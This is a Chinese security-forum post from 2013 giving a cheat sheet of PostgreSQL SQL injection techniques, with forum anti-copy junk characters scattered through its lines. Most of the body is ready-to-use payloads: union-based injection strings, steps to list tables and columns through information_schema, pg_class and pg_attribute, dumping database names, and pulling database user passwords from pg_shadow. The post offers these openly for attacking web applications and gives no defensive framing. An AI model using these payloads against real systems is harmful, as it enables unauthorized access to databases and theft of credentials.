找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2219|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
' h% Y: x- ?& O

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/' \6 y+ J1 s- F
连接符: %20 , + , /**/

内置函数:
8 s+ C1 M' v0 s: Fcurrent_database() //当前数据库名
. ]/ h: \" T8 d4 k7 V( ?6 s5 Q6 ]/ W% Gsession_user //会话用户& ]3 B, z/ @  g+ h' G8 C
current_user //当前数据库用户
# X0 x" D5 w; D" T8 U2 @, zuser //当前用户
: m% e4 y) s( [- E! g& X4 zversion() //数据库版本

Union注射:) T* W" Y8 V* r/ B
order by n–
# K: `: E' j$ P+ i( D5 W( Tand 1=2 union select null,null,null–
0 T# o: @! ~5 {2 s* X6 rand 1=2 union select ‘beach’,null,null–
4 c6 H) B4 @; X  ?: \0 Oand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):6 ~# u# r* D* A1 r7 @3 j3 n
group_concat(table_name)
+ o* d: j1 x) Z* H- q- dand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–: h% k7 P0 C$ C
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–# Y, e4 v* J2 g' c4 f
(老版本)+ G0 B+ z! N1 B' ~' ]  h; S$ ^
pg_class.oid对应pg_attribute.attrelid
% b& z6 a, f7 p  w" epg_class.relname表名
4 O: u) {% ~+ p/ Fpg_attribute.attname字段名

select relname from pg_class获取表名
+ f* l% q1 O$ ^select oid from pg_class where 条件 获取参数# i1 f) K3 F9 D; U1 T2 `3 w
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
: O3 F1 N1 E. b/ hand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& J  t$ ^- L2 L9 J7 T" {1 Aand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
- P8 m4 |) T# O9 M由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名$ f/ V, a: G: P. P2 T3 ]
======================================================================; R/ d0 H2 O0 Z( c- D' |/ O: ?# B' S$ E% Q$ Z
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库' {! d4 {7 d* z0 o. z
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表